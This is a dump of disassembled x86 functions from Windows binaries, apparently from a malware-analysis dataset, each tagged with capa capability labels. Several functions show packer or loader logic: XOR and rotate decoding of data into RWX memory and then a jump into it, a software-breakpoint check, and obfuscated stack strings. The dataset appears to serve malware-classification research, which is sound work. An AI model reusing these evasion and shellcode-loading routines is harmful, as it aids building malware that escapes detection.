joyce8/EMBER2024-capa huggingface dataset:
Function at 0x410c4b
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [ebp - 8]
push eax
mov dword [sym.TestLinkedList.exe_gMozillaPoisonSize], eax
call fcn.0040cea4
pop ecx
mov ecx, dword [sym.TestLinkedList.exe_gMozillaPoisonSize]
mov dword [sym.TestLinkedList.exe_gMozillaPoisonBase], eax
test ecx, ecx
je 0x410c83
shr ecx, 1
dec ecx
add eax, ecx
mov dword [sym.TestLinkedList.exe_gMozillaPoisonValue], eax
mov esp, ebp
pop ebp
ret

Function at 0x40102b
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0xa4
mov dword [ebp - 0x88], 1
call fcn.00401e67
test eax, eax
jne 0x4010c5
lea eax, [ebp - 0x8c]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], eax
mov eax, 0x403148
sub eax, 0x4026e6
mov dword [esp], 0x4026e6
mov dword [esp + 4], eax
mov dword [ebp - 0x8c], 0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
cmp dword [ebp - 0x8c], 0
je 0x4010c5
lea ebx, [ebp - 0x88]
mov dword [esp], 0
jmp loc.004637a4
xor eax, eax
mov ebx, dword [ebp - 4]
leave
ret

Function at 0x401e67
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
sub esp, 0x250
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
mov ebx, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [esp], 0
mov dword [ebp - 0x238], 0
mov dword [ebp - 0x234], 0
call ebx
push edx
mov dword [ebp - 0x228], eax
call esi
mov dword [esp + 4], 0
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 0x21c], 6
push ecx
push ecx
mov dword [esp + 4], 0x7f00
mov dword [esp], 0
mov dword [ebp - 0x214], 0
mov dword [ebp - 0x218], 0
call dword [sym.imp.USER32.dll_LoadCursorA]
push esi
push esi
mov dword [esp + 4], 0x7f00
mov dword [esp], 0
mov dword [ebp - 0x220], eax
call dword [sym.imp.USER32.dll_LoadIconA]
push edx
push edx
mov dword [ebp - 0x224], eax
lea eax, [ebp - 0x238]
mov dword [esp], eax
call dword [sym.imp.USER32.dll_RegisterClassW]
push ecx
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_LocalFree]
push esi
mov dword [esp], 0
call ebx
lea ebx, [ebp - 0x210]
push edx
mov dword [esp + 4], 0
mov dword [esp], eax
call dword [sym.imp.USER32.dll_LoadAcceleratorsA]
push ecx
push ecx
mov dword [esp + 0x10], ebx
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x1a
mov dword [esp], 0
call dword [sym.imp.SHELL32.DLL_SHGetFolderPathW]
sub esp, 0x14
mov dword [esp], ebx
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x80000000
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
sub esp, 0x1c
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], esi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebx - 5]
push esi
lea esp, [ebp - 8]
pop ebx
pop esi
pop ebp
ret
Function at 0x47daca
Capabilities:
Check for software breakpoints

Disassembly:
call 0x47dacf
pop eax
mov ebx, 0x400000
mov esi, dword [ebx + 0xc0]
lea eax, [ebx + esi]
dec eax
mov cl, byte [eax]
cmp cl, 0xcc
je 0x47dade
sub eax, 3
mov edx, dword [eax]
mov esi, dword [ebx + 0x16c]
add esi, ebx
lea edi, [ebx + 0x1000]
push edi
mov ecx, edx
sub ecx, esi
push ecx
push esi
call fcn.0047d971
lea edx, [eax - 4]
sub edx, dword [edx]
mov esi, dword [edx + 0x80]
push edx
add esi, ebx
mov eax, dword [esi + 0xc]
or eax, eax
je 0x47db5d
add eax, ebx
push eax
call sub.kernel32.dll_LoadLibraryA
mov ebp, eax
mov ecx, dword [esi]
add ecx, ebx
mov edi, dword [esi + 0x10]
add edi, ebx
mov eax, dword [ecx]
or eax, eax
je 0x47db58
pushal
test eax, 0x80000000
je 0x47db42
and eax, 0x7fffffff
jmp 0x47db46
lea eax, [ebx + eax + 2]
push eax
push ebp
call sub.kernel32.dll_GetProcAddress
mov dword [edi], eax
popal
add edi, 4
add ecx, 4
jmp 0x47db2d
add esi, 0x14
jmp 0x47db13
pop edx
add ebx, dword [edx + 0x28]
jmp ebx

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x70015de1
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, 0x70054a46
call fcn.70046968
push ecx
push ebx
push esi
mov esi, ecx
xor ebx, ebx
push edi
mov dword [ebp - 0x10], esi
mov dword [esi + 8], ebx
mov dword [esi + 0xc], ebx
mov dword [esi + 0x10], ebx
mov dword [esi], 0x700015dc
mov dword [ebp - 4], ebx
mov dword [esi + 0x2c], ebx
mov dword [esi + 0x30], ebx
mov dword [esi + 0x34], ebx
lea eax, [esi + 0x38]
mov dword [eax], ebx
lea edi, [esi + 0x3c]
mov dword [edi], ebx
fld qword [0x70001490]
fldln2
or dword [esi + 0x24], 0xffffffff
fxch st(1)
push ebx
push eax
mov byte [ebp - 4], 3
mov dword [esi + 0x14], ebx
fyl2x
mov byte [esi + 0x20], bl
fstp qword [esi + 0x18]
call fcn.7004dacd
push ebx
push edi
call fcn.7004dacd
mov ecx, dword [ebp - 0xc]
pop edi
mov eax, esi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret

Function at 0x700216bf
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
mov eax, 0x7005544c
call fcn.70046968
push ecx
push esi
push edi
mov edi, ecx
lea esi, [edi + 0x30]
push esi
lea ecx, [edi + 0x18]
mov dword [edi], 0x700019dc
call fcn.7004dacd
mov ecx, dword [ebp - 0xc]
xor eax, eax
mov dword [esi + 4], eax
mov dword [esi + 8], eax
mov dword [esi + 0xc], eax
mov eax, edi
pop edi
pop esi
mov dword fs:[0], ecx
leave
ret

Function at 0x7002181c
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, 0x7005541b
call fcn.70046968
push ecx
mov eax, ecx
xor ecx, ecx
mov dword [eax], 0x700019c4
mov dword [eax + 0x24], ecx
mov dword [eax + 0x28], ecx
mov dword [eax + 0x2c], ecx
mov dword [eax + 0x3c], ecx
mov dword [eax + 0x40], ecx
mov dword [eax + 0x44], ecx
mov edx, dword [ebp + 0xc]
mov dword [eax + 0x54], ecx
mov dword [eax + 0x58], ecx
mov dword [eax + 0x5c], ecx
mov dword [eax + 0x60], ecx
mov dword [eax + 0x64], ecx
mov dword [eax + 0x68], ecx
or dword [eax + 0xc], 0xffffffff
or dword [eax + 0x30], 0xffffffff
mov dword [eax + 0x4c], edx
mov edx, dword [ebp + 8]
mov dword [eax + 8], ecx
mov dword [eax + 0x20], ecx
mov dword [eax + 0x10], ecx
mov dword [eax + 0x34], ecx
mov ecx, dword [ebp - 0xc]
mov dword [eax + 0x48], edx
dec eax

Function at 0x70021cde
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
mov eax, 0x7005544c
call fcn.70046968
push ecx
push esi
push edi
mov edi, ecx
lea esi, [edi + 0x30]
push esi
lea ecx, [edi + 0x18]
mov dword [edi], 0x700018f8
call fcn.7004dacd
mov ecx, dword [ebp - 0xc]
xor eax, eax
mov dword [esi + 4], eax
mov dword [esi + 8], eax
mov dword [esi + 0xc], eax
mov eax, edi
pop edi
pop esi
mov dword fs:[0], ecx
leave
ret
Function at 0x7002cdc1
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, 0x70055d35
call fcn.70046968
push ecx
push ebx
push esi
mov esi, ecx
push edi
lea ecx, [esi + 8]
mov dword [ebp - 0x10], esi
call fcn.7001c4da
xor edi, edi
lea ebx, [esi + 0x24]
mov dword [ebp - 4], edi
mov dword [ebx], edi
mov dword [esi + 0x50], edi
mov dword [esi + 0x5c], edi
mov dword [esi + 0x60], edi
mov dword [esi + 0x64], edi
lea ecx, [esi + 0x6c]
mov byte [ebp - 4], 3
call fcn.7001e4c6
lea eax, [esi + 0x84]
mov dword [eax + 4], edi
mov dword [eax + 8], edi
mov dword [eax + 0xc], edi
lea eax, [esi + 0x94]
mov dword [eax + 4], edi
mov dword [eax + 8], edi
mov dword [eax + 0xc], edi
push edi
push ebx
mov byte [ebp - 4], 6
call fcn.7004dacd
or dword [esi + 0x68], 0xffffffff
mov ecx, dword [ebp - 0xc]
mov dword [esi + 0x30], edi
mov dword [esi + 0x34], edi
mov dword [esi + 0x28], edi
mov dword [esi + 0x78], edi
mov dword [esi + 0x7c], edi
mov dword [esi + 0xa4], edi
mov dword [esi + 0xa8], edi
mov dword [esi + 0xac], edi
mov dword [esi + 0x38], edi
mov dword [esi + 0x3c], edi
mov dword [esi + 0x40], edi
mov dword [esi + 0x44], edi
mov dword [esi + 0x48], edi
mov dword [esi + 0x80], edi
mov dword [esi + 0x4c], edi
mov dword [esi + 0x54], edi
pop edi
mov dword [esi + 0x2c], 3
mov eax, esi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret
Function at 0x7002fc42
Capabilities:
Get common file path

Disassembly:
mov eax, 0x70055e97
call fcn.70046968
push ecx
push esi
push edi
push dword [ebp + 0xc]
mov esi, ecx
push dword [ebp + 8]
mov dword [ebp - 0x10], esi
call fcn.70022245
fld dword [ebp + 0x14]
push ecx
fstp dword [esp]
push dword [ebp + 0x10]
xor edi, edi
mov ecx, esi
mov dword [ebp - 4], edi
mov dword [esi], 0x70001f14
call fcn.7004dacd
mov ecx, dword [esi + 8]
cmp ecx, edi
mov dword [esi + 4], eax
je 0x7002fc87
sub dword [ecx], eax
push ebx
lea eax, [esi + 0x60]
push eax
mov ebx, 0x104
push ebx
call dword [sym.imp.kernel32.dll_GetTempPathW]
cmp eax, ebx
jb 0x7002fca6
push 0x8000ffff
call fcn.70054690
lea ebx, [esi + 0x60]
push ebx
push edi
push 0x70001efc
push ebx
call dword [sym.imp.kernel32.dll_GetTempFileNameW]
test eax, eax
jne 0x7002fcc7
call dword [sym.imp.kernel32.dll_GetLastError]
push eax
call fcn.70054690
push edi
push edi
push 2
push edi
push edi
push 0xc0000000
push ebx
mov dword [esi + 0x5c], edi
call dword [sym.imp.kernel32.dll_CreateFileW]
cmp eax, 0xffffffff
mov dword [esi + 0x5c], eax
jne 0x7002fcf0
call dword [sym.imp.kernel32.dll_GetLastError]
push eax
call fcn.70054690
mov ebx, dword [sym.imp.kernel32.dll_SetFilePointer]
push edi
push edi
push dword [esi + 4]
push dword [esi + 0x5c]
call ebx
cmp eax, 0xffffffff
jne 0x7002fd11
call dword [sym.imp.kernel32.dll_GetLastError]
push eax
call fcn.70054690
push dword [esi + 0x5c]
call dword [sym.imp.kernel32.dll_SetEndOfFile]
test eax, eax
jne 0x7002fd2a
call dword [sym.imp.kernel32.dll_GetLastError]
push eax
call fcn.70054690
push edi
push edi
push edi
push dword [esi + 0x5c]
call ebx
cmp eax, 0xffffffff
pop ebx
jne 0x7002fd44
call dword [sym.imp.kernel32.dll_GetLastError]
push eax
call fcn.70054690
mov ecx, dword [ebp - 0xc]
mov dword [esi + 0x58], edi
pop edi
mov eax, esi
pop esi
mov dword fs:[0], ecx
leave
ret 0x10

Function at 0x7002fdc9
Capabilities:
Delete file

Disassembly:
mov edi, edi
push esi
mov esi, ecx
mov eax, dword [esi + 0x5c]
test eax, eax
mov dword [esi], 0x70001f14
je 0x7002fdec
push eax
call dword [sym.imp.kernel32.dll_CloseHandle]
lea eax, [esi + 0x60]
push eax
call dword [sym.imp.kernel32.dll_DeleteFileW]
mov ecx, esi
pop esi
jmp fcn.70020a63

Function at 0x7002fe46
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
mov eax, 0x70055ed2
call fcn.70046968
push ecx
mov eax, ecx
mov dword [eax], 0x70001f34
xor edx, edx
lea ecx, [eax + 0x34]
mov dword [eax + 0x1c], 0x700012e8
mov dword [eax + 0x20], ecx
mov dword [eax + 0x28], edx
mov dword [eax + 0x24], edx
mov byte [eax + 0x2c], 1
mov dword [eax + 0x30], edx
mov dword [ecx + 4], edx
mov dword [ecx + 8], edx
mov dword [ecx + 0xc], edx
mov ecx, dword [ebp - 0xc]
mov dword [eax + 0x18], edx
mov dword fs:[0], ecx
leave
ret
Function at 0x70048092
Capabilities:
Terminate process

Disassembly:
push 8
push 0x70003448
call fcn.700476b4
push 8
call fcn.7004dacd
pop ecx
xor edi, edi
mov dword [ebp - 4], edi
xor esi, esi
inc esi
cmp dword [0x70060920], esi
jne 0x700480c6
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.kernel32.dll_TerminateProcess]
mov dword [0x7006091c], esi
mov al, byte [ebp + 0x10]
mov byte [0x70060918], al
cmp dword [ebp + 0xc], edi
jne 0x70048110
cmp dword [0x70062128], edi
je 0x70048100
mov eax, dword [0x70062124]
sub eax, 4
mov dword [0x70062124], eax
cmp eax, dword [0x70062128]
jb 0x70048100
mov eax, dword [eax]
cmp eax, edi
je 0x700480e1
call eax
jmp 0x700480e1
push 0x7005d080
mov eax, 0x7005d078
call fcn.70048006
pop ecx
push 0x7005d08c
mov eax, 0x7005d084
call fcn.70048006
pop ecx
or dword [ebp - 4], 0xffffffff
call 0x70048141
cmp dword [ebp + 0x10], edi
jne 0x7004814f
mov dword [0x70060920], esi
push dword [ebp + 8]
call fcn.70047fb5
xor edi, edi
xor esi, esi
inc esi
cmp dword [ebp + 0x10], edi
je 0x7004814e
push 8
call fcn.7004dacd
pop ecx
ret
call fcn.700476ef
ret

Function at 0x70048ee9
Capabilities:
Write file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x90]
sub esp, 0x110
mov eax, dword [0x7005f474]
mov ecx, dword [ebp + 0x98]
push ebx
push esi
mov dword [ebp + 0x8c], eax
xor edx, edx
push edi
xor eax, eax
cmp ecx, dword [eax*8 + 0x7005f558]
je 0x70048f1e
inc eax
cmp eax, 0x13
jb 0x70048f0f
mov esi, eax
shl esi, 3
cmp ecx, dword [esi + 0x7005f558]
jne 0x70049041
mov eax, dword [0x700608c8]
cmp eax, 1
je 0x7004901c
cmp eax, edx
jne 0x70048f4e
cmp dword [0x700608cc], 1
je 0x7004901c
cmp ecx, 0xfc
je 0x70049041
push 0x104
lea eax, [ebp - 0x7c]
push eax
push edx
mov byte [ebp + 0x88], dl
call dword [sym.imp.kernel32.dll_GetModuleFileNameA]
test eax, eax
jne 0x70048f84
lea eax, [ebp - 0x7c]
push 0x700038cc
push eax
call fcn.7004b070
pop ecx
pop ecx
lea edi, [ebp - 0x7c]
mov eax, edi
push eax
call fcn.7004b170
inc eax
cmp eax, 0x3c
pop ecx
jbe 0x70048fb8
mov eax, edi
push eax
call fcn.7004b170
mov edi, eax
lea eax, [ebp - 0x7c]
sub eax, 0x3b
push 3
add edi, eax
push 0x700038c8
push edi
call fcn.7004fd70
add esp, 0x10
push edi
call fcn.7004b170
push dword [esi + 0x7005f55c]
mov ebx, eax
call fcn.7004b170
lea eax, [ebx + eax + 0x1c]
pop ecx
add eax, 3
pop ecx
and eax, 0xfffffffc
call fcn.70047670
mov ebx, esp
push 0x700038ac
push ebx
call fcn.7004b070
push edi
push ebx
call fcn.7004b080
push 0x700038a8
push ebx
call fcn.7004b080
push dword [esi + 0x7005f55c]
push ebx
call fcn.7004b080
push 0x12010
push 0x70003880
push ebx
call fcn.7004dacd
add esp, 0x2c
jmp 0x70049041
push edx
lea eax, [ebp - 0x80]
push eax
lea esi, [esi + 0x7005f55c]
push dword [esi]
call fcn.7004b170
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.kernel32.dll_GetStdHandle]
push eax
call dword [sym.imp.kernel32.dll_WriteFile]
lea esp, [ebp - 0x8c]
mov ecx, dword [ebp + 0x8c]
call fcn.7004719b
pop edi
pop esi
pop ebx
add ebp, 0x90
leave
ret
Function at 0x7004dacd
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
pushal
call 0x7004dadc
pop dword [ebp - 0x1c]
mov eax, 0x2c155dfc
add eax, 0x43ef7ce0
sub dword [ebp - 0x1c], eax
push 0x40
push 0x1000
push 0x47330
push 0
mov eax, 0x8d71704b
add eax, 0xe28ea011
add eax, dword [ebp - 0x1c]
call dword [eax]
mov ecx, 0x4f76
mov ebx, eax
mov edi, 0x70072000
add edi, dword [ebp - 0x1c]
mov edx, 0xea0e0bcf
add dword [ebp - 0x14], esi
mov esi, dword [edi]
add dword [ebp - 4], edi
xor esi, edx
add dword [ebp - 8], 0x12f10f16
mov dword [ebx], esi
sub dword [ebp - 0x14], ebx
add ebx, 0x7c756c2e
add ebx, 0x838a93d6
add edi, 4
loop 0x7004db29
add eax, 0x130ab
xor ebx, ebx
add ebx, eax
add eax, 0x612d0966
add eax, 0x9ed2f69f
mov ecx, 0xdd75783f
sub ecx, 0x6d75783f
add ecx, dword [ebp - 0x1c]
call ebx
leave
ret
Function at 0x7005088c
Capabilities:
Write file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x3a4]
sub esp, 0x424
mov eax, dword [0x7005f474]
xor ecx, ecx
cmp dword [ebp + 0x3b4], ecx
push edi
mov edi, dword [ebp + 0x3b0]
mov dword [ebp + 0x3a0], eax
mov dword [ebp - 0x7c], edi
mov dword [ebp - 0x74], ecx
mov dword [ebp - 0x78], ecx
jne 0x700508c6
xor eax, eax
jmp 0x70050a30
mov eax, dword [ebp + 0x3ac]
push ebx
mov ebx, dword [ebp + 0x3ac]
and eax, 0x1f
sar ebx, 5
push esi
lea esi, [eax + eax*8]
lea ebx, [ebx*4 + 0x70062020]
mov eax, dword [ebx]
shl esi, 2
test byte [eax + esi + 4], 0x20
je 0x70050904
push 2
push ecx
push ecx
push dword [ebp + 0x3ac]
call fcn.7004dacd
add esp, 0x10
xor ecx, ecx
mov eax, dword [ebx]
add eax, esi
test byte [eax + 4], 0x80
je 0x7005099e
cmp dword [ebp + 0x3b4], ecx
mov dword [ebp - 0x70], edi
mov dword [ebp - 0x68], ecx
jbe 0x70050a01
jmp 0x70050928
xor ecx, ecx
mov dword [ebp - 0x6c], ecx
mov ecx, dword [ebp - 0x70]
sub ecx, dword [ebp - 0x7c]
lea eax, [ebp - 0x64]
cmp ecx, dword [ebp + 0x3b4]
jae 0x70050963
mov edx, dword [ebp - 0x70]
inc dword [ebp - 0x70]
mov dl, byte [edx]
inc ecx
cmp dl, 0xa
jne 0x70050954
inc dword [ebp - 0x78]
mov byte [eax], 0xd
inc eax
inc dword [ebp - 0x6c]
mov byte [eax], dl
inc eax
inc dword [ebp - 0x6c]
cmp dword [ebp - 0x6c], 0x400
jl 0x70050934
mov edi, eax
lea eax, [ebp - 0x64]
sub edi, eax
push 0
lea eax, [ebp - 0x80]
push eax
push edi
lea eax, [ebp - 0x64]
push eax
mov eax, dword [ebx]
push dword [eax + esi]
call dword [sym.imp.kernel32.dll_WriteFile]
test eax, eax
je 0x700509c2
mov eax, dword [ebp - 0x80]
add dword [ebp - 0x74], eax
cmp eax, edi
jl 0x700509cb
mov eax, dword [ebp - 0x70]
sub eax, dword [ebp - 0x7c]
cmp eax, dword [ebp + 0x3b4]
jb 0x70050926
jmp 0x700509cb
push ecx
lea ecx, [ebp - 0x80]
push ecx
push dword [ebp + 0x3b4]
push edi
push dword [eax]
call dword [sym.imp.kernel32.dll_WriteFile]
test eax, eax
je 0x700509c2
mov eax, dword [ebp - 0x80]
and dword [ebp - 0x68], 0
mov dword [ebp - 0x74], eax
jmp 0x700509cb
call dword [sym.imp.kernel32.dll_GetLastError]
mov dword [ebp - 0x68], eax
mov eax, dword [ebp - 0x74]
test eax, eax
jne 0x70050a2b
cmp dword [ebp - 0x68], eax
je 0x700509fe
push 5
pop esi
cmp dword [ebp - 0x68], esi
jne 0x700509f3
call fcn.7004bd57
mov dword [eax], 9
call fcn.7004bd65
mov dword [eax], esi
jmp 0x70050a26
push dword [ebp - 0x68]
call fcn.7004bd73
pop ecx
jmp 0x70050a26
mov edi, dword [ebp - 0x7c]
mov eax, dword [ebx]
test byte [eax + esi + 4], 0x40
je 0x70050a13
cmp byte [edi], 0x1a
jne 0x70050a13
xor eax, eax
jmp 0x70050a2e
call fcn.7004bd57
mov dword [eax], 0x1c
call fcn.7004bd65
and dword [eax], 0
or eax, 0xffffffff
jmp 0x70050a2e
sub eax, dword [ebp - 0x78]
pop esi
pop ebx
mov ecx, dword [ebp + 0x3a0]
pop edi
call fcn.7004719b
add ebp, 0x3a4
leave
ret
Function at 0x405a3d
Capabilities:
Create process on windows

Disassembly:
mov eax, dword [esp + 4]
push eax
and dword [eax + 0x24], 0
mov dword [eax], 0x3c
call dword [sym.imp.shell32.dll_ShellExecuteExW]
ret 4

Function at 0x405b23
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
pushal
call 0x405b32
pop dword [ebp - 0x4c]
mov eax, 0x405b32
sub dword [ebp - 0x4c], eax
mov dword [ebp - 0x5c], 0x4c8614e0
add dword [ebp - 0x5c], 0x1cc306b
mov dword [ebp - 0x58], 0xafb8364a
add dword [ebp - 0x58], 0x827b15fb
mov dword [ebp - 0x54], 0x77884476
add dword [ebp - 0x54], 0xd4c3ffb8
mov dword [ebp - 0x50], 0xa1870649
add dword [ebp - 0x50], 0x5e78f9b7
lea eax, [ebp - 0x5c]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x4c]
call dword [eax]
mov dword [ebp - 0x5c], 0x878e1f89
sub dword [ebp - 0x5c], 0x131bb633
mov dword [ebp - 0x58], 0x1b45ae8e
add dword [ebp - 0x58], 0x2626b2e7
mov dword [ebp - 0x54], 0xec415082
add dword [ebp - 0x54], 0x772e1bea
mov dword [ebp - 0x50], 0x5fba1c24
add dword [ebp - 0x50], 0xa045e3dc
lea ebx, [ebp - 0x5c]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x4c]
call dword [eax]
push 0x40
push 0x1000
push 0x38f7c
push 0
call eax
mov ecx, 0xeb57ae1
add ecx, 0xf14ad4f4
xor esi, esi
add esi, eax
mov edx, 0xf925a1b1
sub edx, 0xf8e08db1
add edx, dword [ebp - 0x4c]
mov edi, 0x57d514df
sub edi, 0x3b1006d9
mov ebx, dword [edx]
xor dword [ebp - 0x44], esi
sub ebx, edi
xor dword [ebp - 0x24], esi
mov dword [esi], ebx
add dword [ebp - 0x14], esi
add esi, 4
add edx, 4
loop 0x405c47
add eax, 0x13227
mov ebx, eax
add eax, 0xbc079146
add eax, 0x43f86ebf
mov ecx, 0x301067e
sub ecx, 0x2c1067e
add ecx, dword [ebp - 0x4c]
call ebx
leave
ret

Function at 0x405dee
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push esi
push edi
push dword [esp + 0xc]
mov esi, 0x42fa70
push esi
call fcn.00406411
push esi
call fcn.00405d91
mov edi, eax
test edi, edi
jne 0x405e0f
xor eax, eax
jmp 0x405e67
push edi
call fcn.004066c0
test byte [0x434f1c], 0x80
je 0x405e2c
mov ax, word [edi]
test ax, ax
je 0x405e0b
cmp ax, 0x5c
je 0x405e0b
sub edi, esi
sar edi, 1
jmp 0x405e46
call fcn.0040676f
test eax, eax
je 0x405e40
test byte [eax], 0x10
je 0x405e0b
push esi
call fcn.00405d32
push esi
call sub.kernel32.dll_lstrlenW
cmp eax, edi
push esi
jg 0x405e32
call fcn.00405ce6
push esi
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov eax, ecx
pop edi
pop esi
ret 4

Function at 0x405ee2
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
push esi
push dword [esp + 8]
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
mov esi, eax
cmp esi, 0xffffffff
je 0x405f01
and al, 0xfe
push eax
push dword [esp + 0xc]
call dword [sym.imp.kernel32.dll_SetFileAttributesW]
mov eax, esi
pop esi
ret 4
Function at 0x409a63
Capabilities:
Get file version info

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push dword [ebp + 8]
xor ebx, ebx
lea esi, [ebp - 4]
mov dword [ebp - 8], ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 0x10], ebx
mov dword [ebp - 4], ebx
call fcn.00409926
mov esi, eax
cmp esi, ebx
jl 0x409b50
push edi
lea eax, [ebp - 8]
push eax
push dword [ebp - 4]
call dword [sym.imp.VERSION.dll_GetFileVersionInfoSizeW]
mov edi, eax
cmp edi, ebx
jne 0x409ace
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
cmp esi, ebx
jle 0x409abe
and esi, 0xffff
or esi, 0x80070000
cmp esi, ebx
jl 0x409b4f
mov esi, 0x80004005
jmp 0x409b4f
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [ebp + 8], eax
cmp eax, ebx
jne 0x409ae4
mov esi, 0x8007000e
jmp 0x409b4f
push eax
push edi
push dword [ebp - 8]
push dword [ebp - 4]
call dword [sym.imp.VERSION.dll_GetFileVersionInfoW]
test eax, eax
je 0x409b10
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xc]
push eax
push 0x4050ac
push dword [ebp + 8]
call dword [sym.imp.VERSION.dll_VerQueryValueW]
test eax, eax
jne 0x409b33
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
cmp esi, ebx
jle 0x409b2a
and esi, 0xffff
or esi, 0x80070000
cmp esi, ebx
jl 0x409b46
mov esi, 0x80004005
jmp 0x409b46
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax + 8]
mov edx, dword [ebp + 0xc]
mov eax, dword [eax + 0xc]
mov dword [edx], ecx
mov ecx, dword [ebp + 0x10]
mov dword [ecx], eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GlobalFree]
pop edi
cmp dword [ebp - 4], ebx
je 0x409b5d
push dword [ebp - 4]
call fcn.00408e6f
mov eax, esi
pop esi
pop ebx
leave
ret 0xc

Function at 0x409c21
Capabilities:
Check if file exists
Delete file
Move file

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
push ebx
push esi
push edi
push dword [ebp + 8]
lea esi, [ebp - 4]
call fcn.00409926
mov ebx, dword [ebp - 4]
mov edi, eax
test edi, edi
js 0x409c8b
push ebx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x409c8b
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
cmp eax, 2
je 0x409c8b
cmp eax, 3
je 0x409c8b
push 4
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
test eax, eax
jne 0x409c8b
call esi
mov edi, eax
test edi, edi
jle 0x409c84
and edi, 0xffff
or edi, 0x80070000
test edi, edi
js 0x409c8b
mov edi, 0x80004005
test ebx, ebx
je 0x409c95
push ebx
call fcn.00408e6f
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x40a33a
Capabilities:
Enumerate pe sections

Disassembly:
mov ecx, dword [esp + 8]
push esi
push edi
xor edi, edi
movzx eax, word [ecx + 0x14]
movzx esi, word [ecx + 6]
test esi, esi
lea eax, [eax + ecx + 0x18]
jbe 0x40a375
mov ecx, dword [eax + 8]
test ecx, ecx
jne 0x40a35c
mov ecx, dword [eax + 0x10]
mov edx, dword [eax + 0xc]
cmp dword [esp + 0xc], edx
jb 0x40a36d
add edx, ecx
cmp dword [esp + 0xc], edx
jb 0x40a377
inc edi
add eax, 0x28
cmp edi, esi
jb 0x40a352
xor eax, eax
pop edi
pop esi
ret
Function at 0x40a7b1
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov byte [ebp - 0x79], 0x7a
mov byte [ebp - 0x78], 0x73
mov byte [ebp - 0x77], 0x5e
mov byte [ebp - 0x76], 0x77
mov byte [ebp - 0x75], 0x78
mov byte [ebp - 0x74], 0x72
mov byte [ebp - 0x73], 0x7a
mov byte [ebp - 0x72], 0x73
mov byte [ebp - 0x71], 0x57
mov byte [ebp - 0x70], 0x16
call fcn.0040a2fa
lahf
lcall 0xff7c, 0x858dd7ac
invalid